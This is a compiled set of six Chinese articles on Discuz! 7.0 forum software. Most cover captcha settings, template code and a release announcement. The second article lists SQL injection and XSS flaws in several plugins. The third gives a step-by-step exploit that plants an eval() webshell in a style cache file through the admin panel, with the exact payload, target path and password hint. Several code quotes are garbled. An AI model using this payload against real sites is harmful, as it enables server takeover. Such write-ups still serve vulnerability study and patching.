Discuz!7.0安全验证详解

时间:2022年12月11日

/

来源:tecop

/

编辑:本站小编

收藏本文

下载本文

下面小编为大家带来Discuz!7.0安全验证详解,本文共6篇,希望大家喜欢!本文原稿由网友“tecop”提供。

篇1:Discuz!7.0安全验证详解

Discuz!7.0是康盛创想(Comsenz)公司于12月份发布的一款论坛BBS建站产品,Discuz! 7.0.0中设计了强大的防灌水机制,两种安全级别加上验证码和验证问答,使得绝大多数的灌水机望而却步。下面笔者就详细讲解下其使用方法,进入系统后台 =>全局 =>安全验证。

一、安全验证模式

防灌水机制安全级别:“一般验证模式”和 “高级验证模式”

通常情况下,我们推荐您使用高级验证模式。当您站点有较多用户遇到验证码无法通过的时候,您可以使用一般验证模式。

二、验证码设置

1、启用验证码

验证码可以避免恶意注册及恶意灌水,请选择需要打开验证码的操作。启用验证码的操作有四个选项:新用户注册、用户登录、发表主题与回复、修改个人资料。

注意:启用验证码会使得部分操作变得繁琐,建议仅在必需时打开。

2、验证码发帖限制

发帖数超过此设置的会员将不受验证码功能限制,0 表示所有会员均受限制。

3、登录失败时显示验证码

选择“是”将在用户登录失败 3 次后才显示验证码,选择“否”将始终在登录时显示验证码。

注意:只有在启用了用户登录验证码时本设置才有效。

4、验证码类型

验证码功能将有四种验证方式:英文图片验证码、中文图片验证码、Flash 验证码和语音验证码。

注意:中文图片验证码需要您的主机支持 FreeType 库,

要显示 Flash 验证码,建议您的主机支持 Ming 库以提高安全性。

1)验证码图片宽度:验证码图片的宽度,范围在 100~200 之间。

2)验证码图片高度:验证码图片的高度,范围在 50~80 之间。

3)随机图片背景:选择“是”将随机使用 images/seccode/background 目录下的 JPG 图片作为验证码的背景图片,选择“否”将使用随机的背景色。

4)随机背景图形:选择“是”将给验证码背景增加随机的图形。

5)随机 TTF 字体:选择“是”将随机使用 images/fonts/en 目录下的 TTF 字体文件生成验证码文字,选择“否”将随机使用 images/seccode/gif 目录中的 GIF 图片生成验证码文字。中文图片验证码将随机使用 images/fonts/ch 目录下的 TTF 字体文件,无需进行此设置。

6)随机倾斜度:选择“是”将给验证码文字增加随机的倾斜度,本设置只针对 TTF 字体的验证码。

7)随机颜色:选择“是”将给验证码的背景图形和文字增加随机的颜色。

8)随机大小:选择“是”验证码文字的大小随机显示。

9)文字阴影:选择“是”将给验证码文字增加阴影。

10)GIF 动画:选择“是”验证码将显示成 GIF 动画方式,选择“否”验证码将显示成静态图片方式。

下面看下各种验证码的效果:

英文图片验证码:

中文图片验证码:    Flash 验证码:    语音验证码:

篇2:Discuz! 7.0 若干插件漏洞分析

Discuz!是国内第一大论坛,在经历了多年的风风雨雨后,安全可以说也是数一数二了,不过我发现,越来越多的非Discuz!官方提供的插件存在安全漏洞,如果不及时修复,可能会影响整个站点的安全。

1.【DST】社区竞拍中心 V1.0 GBK For Discuz!7.0 注入:

DST的一个竞拍插件,官方地址:www.17dst.com/thread-409-1-1.html

好了看源码:

程序代码

//sql未初始化

if($ob=='my'){

$sql=“ and a.uid='$discuz_uid'”;

}

if($list!='race'){

if($list){

$navigation.=“ » $auction_lang[once_goods]”;

//这里带进来查询

$count=$db->result($db->query(“select count(*) from {$tablepre}auctions a where gmode='1' $sql”),0);

......

}

2.竞拍中心3.0 [ + SD01] -- 柒瑞精品discuz6/7商业插件 注入:

柒瑞出品的一个商业插件,收费的,DZ官方的链接:www.discuz.net/thread-139-1-1.html

这个插件我百度了下,没找到源码,不过随便测试了一下:

3.[DST]团队展示Flash1.0版本插件 注入:

DST出的一个团队展示插件,官方链接:www.17dst.com/thread-142-1-1.html

这个有源码,看一下:

.....

//这里

$query = $db->query(“Select * FROM `{$tablepre}members` Where `groupid` =$agid ”);

if ($db->num_rows($query) >0) {

......

}

漏洞太明显了,不多说了,测试了一下官方,49个字段

4.某一个帐号发放系统 注入

5.社区茶坊 for DZ7.0(带后台聊天室) XSS:

DZ官方的地址:

6.很多插件写cache的地方太大意了,可能导致意想不到的问题,正如某婚恋插件,管理员权限下可以轻松拿shell的,这个就不多说了,

DZ的插件很多,没时间细看,最近维护自己的一个论坛时无意中遇到就检测下,还是希望各位作者有点安全意识~

本文来源于:乐乐的博客 www.smilele.cn/ , 原文地址:www.smilele.cn/lele/Discuz7.html

篇3:Discuz! 7.0 及以下版本后台拿webshell

我先声明:

1.这个不是我首发,很多牛牛很早之前就发现了,但没人公布,ring04h牛那貌似有个:ring04h.googlepages.com/dzshell.txt,估计知道的人很多了,我研究的少,知道迟了,惭愧惭愧;

2.我从拿到shell的IIS日志知道这里可以利用,即styles.inc.php这个文件,于是看了下,找到利用办法,后来经flyh4t提醒,居然与ring04h的那个方法一样,我落后了...

好了,不废话,看代码:

......

if($newcvar && $newcsubst) {

if($db->result_first(“SELECT COUNT(*) FROM {$tablepre}stylevars WHERE variable='$newcvar' AND styleid='$id'”)) {

cpmsg('styles_edit_variable_duplicate', '', 'error');

} elseif(!preg_match(“/[a-zA-Z_\\x7f-\\xff][a-zA-Z0-9_\\x7f-\\xff]*/”, $newcvar)) {

cpmsg('styles_edit_variable_illegal', '', 'error');

}

$newcvar = strtolower($newcvar);

$db->query(“INSERT INTO {$tablepre}stylevars (styleid, variable, substitute)

VALUES ('$id', '$newcvar', '$newcsubst')”);

}//插入变量数据,From www.oldjun.com

......

updatecache('styles');//更新缓存(写文件),From www.oldjun.com

......

?>这是为某一style风格增加变量的代码,把变量名与变量的值存入数据库,虽然post过来的数据daddslashes了,但入库之后又都是纯净的数据了。

这里涉及到一个正则问题,判断变量名的:!preg_match(“/[a-zA-Z_\\x7f-\\xff][a-zA-Z0-9_\\x7f-\\xff]* /”, $newcvar),其中“\\x7f-\\xff”是指ASCII码值在127~255之间的字符,它们经常作为中文字符的首字节出现,所以可以利用其作为中文匹配的标志。于是这个匹配貌似只是允许字母或者中文做变量名,没其他高深的匹配,随便测试了下,一般情况下这个正则等于虚设:

$newcvar=$_GET['newcvar'];

echo $newcvar;

echo “

”;

if(!preg_match(“/[a-zA-Z_\\x7f-\\xff][a-zA-Z0-9_\\x7f-\\xff]*/”, $newcvar)) {

echo “haha”;

}else{

echo 'pass';

}

?>下面看看updatecache这个函数,在include里的cache.func.php文件里,先从数据库取出来,经过一段处理最终写入文件,具体我不描述了,我只谈谈重点,看一段函数:

function getcachevars($data, 0 = 'VAR') {

$evaluate = '';

foreach($data as $key => $val) {

if(is_array($val)) {

$evaluate .= “\\$$key = ”.arrayeval($val).“;\\n”;

} else {

$val = addcslashes($val, '\\'\\\\');

$evaluate .= 0 == 'VAR' ? “\\$$key = '$val';\\n” : “define('”.strtoupper($key).“', '$val');\\n”;

}

}

return $evaluate;

}啥也不说了,处理了value没处理key,而这个key就是之前我们提交的,干净的存在数据库里的值,

关于数组的key,大家可以参考下幻影旅团第三期《高级PHP代码审核技术》,那篇文章好多地方谈到key的问题,dz这里却忽视了...

于是可以直接拿shell了,利用方法(论坛地址改成自己的),先用管理员帐号登陆后台,无需论坛创始人,管理员等级即可:

www.oldjun.com/bbs/admincp.php?action=styles&operation=edit&id=1&adv=1

中,最下面有个“自定义模板变量”,变量中填:

OLDJUN', '#999');eval($_POST[cmd]);//替换内容随便输入:1111,然后提交,一句话木马就产生了:

www.oldjun.com/bbs/forumdata/cache/style_1.php

如果你修改的style的id是2的话,对于的shell就是style_2.php。

这个风格模板可以导入导出的,于是有了ring04h的那个dzshell,嫌麻烦可以直接用那个导入风格获取shell。

注:很多人反应连不上一句话,我发现我文章少说了一句:

$evaluate .= 0 == 'VAR' ? “\\$$key = '$val';\\n” : “define('”.strtoupper($key).“', '$val');\\n”;这句话是说所有的变量名换成大写的了!

因此请用大写的CMD做为你一句话的密码!

篇4:Discuz! X2验证码的产生及验证

一、验证码的产生

1、如何在模板中添加一个验证码

在X2中验证码的模板部分独立为一个模板文件(template/default/common/seccheck.htm),供各个地方调用,

Discuz! X2验证码的产生及验证

在模板中可以添加如下代码来调用验证码模板部分:

篇5:Discuz!如何修改Email验证有效性时长

当站点开启新用户注册 Email 验证时,将向用户注册 Email 发送一封验证邮件以确认邮箱的有效性,用户通过验证后,才可以有已验证会...

当站点开启新用户注册Email验证时,将向用户注册Email发送一封验证邮件以确认邮箱的有效性。用户通过验证后,才可以有已验证会员的权限来进行其他操作。

但因注册填写邮箱有误或其他原因导致没有收到验证邮件时,用户可以修改自己的邮箱,然后到个人中心=》重新验证Email。

康盛创想(旗下)产品Discuz! 默认在 24 小时内只能提交一次Email验证,用户需要等待 24 小时,因此您可以考虑减短该时长。

下面给出一临时解决方法,即修改代码:

一、修改 24 小时为您想要的时长

打开论坛根目录下的 member.php,找到以下代码:

(0 == 2 && $timestamp - $dateline 《 86400)

其中,86400 表示的就是 24 小时,单位是“秒”,即:

您可以将 86400 修改为您需要的时长,然后保存文件,

二、修改提示语言

根据第一步修改后,Email验证的有效性时长变了,但是用户看到的提示语并没变。

打开模板目录下的 messages.lang.php 文件,找到以下代码:

'email_verify_invalid' =》 ‘您在 24 小时内只能提交一次验证Email请求,请返回。’,

将 24 修改为实际时长,保存文件即可。

厚诚集智 成长无限 www.51hlht.com

篇6:Discuz!7.0正式版将于12月12日发布

日前康盛创想(Comsenz)宣布,旗下主力产品——Discuz! 7.0 正式版将于2008年12月12日发布,以纪念其在2005年12月12日将Discuz!社区建站程序正式开源,

改进用户体验  加快新手参与度

“改进论坛的阅读体验,加快新用户初到论坛的参与速度,把繁杂的问题简单化”是 Discuz! 7.0 的设计核心理念。Discuz! 7.0 是在 Discuz! 6.1 上重点改进的一个突破性论坛版本。是继 Discuz! 6.1 版本顺利发布之后,Discuz! 开发团队结合当前 BBS 与 SNS 并举的网络社区发展趋势,推出的一款更加易用、稳定、高效的社区建站产品。

新版本多项改进  将BBS与SNS深度结合

Discuz! 7.0 不仅改进了头像系统的动画支持、附件批量上传、分类信息管理、本地登陆安全等大家比较关心的问题,

Discuz! 7.0 还重点推出了论坛任务系统,增强了论坛的互动性。同时,通过新技术应用改进了 Discuz! 论坛与 UCenter 的应用,可以更好的与 UCenter Home 1.5 整合,将社区建站中BBS和SNS应用结合得更加紧密。当前,广大站长社区建站采用 BBS 与 SNS 齐头并举的格局已经初步形成。通过 UCenter 1.5 的会员功能整合,Discuz! 7.0 已经加强了和 UCenter Home 1.5 的结合程度。

七年七大版本 开源三周年献礼

Discuz! 七年七大版本升级,成长为全球最知名的PHP社区BBS软件之一,也是国内用户量最大,覆盖面最广的社区BBS软件。作为一套成熟的社区论坛解决方案,Discuz! 提供了互联网上最主流的 BBS 技术功能以及最流行的社区应用元素。2005年12月12日,康盛创想在 Discuz! 4.0  软件授权收入呈现高增长之际,率先主动宣布软件免费策略,去除软件加密措施,对非商业用途的 Discuz! 用户不再收取软件授权许可费用,此举开创互联网社区软件业向服务模式升级的先河。如今,Discuz! 面向广大站长免费开源三年如一日,让更多的站长朋友和康盛创想走到了一起。

Discuz! 7.0 官方体验地址:www.discuz.net/

学历验证报告

验证机械能守恒定律说课稿

验证天气谚语

验证机械能守恒定律的物理教案

安检验证的岗位职责

下载Discuz!7.0安全验证详解(共6篇)
Discuz!7.0安全验证详解.doc
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档
点击下载本文文档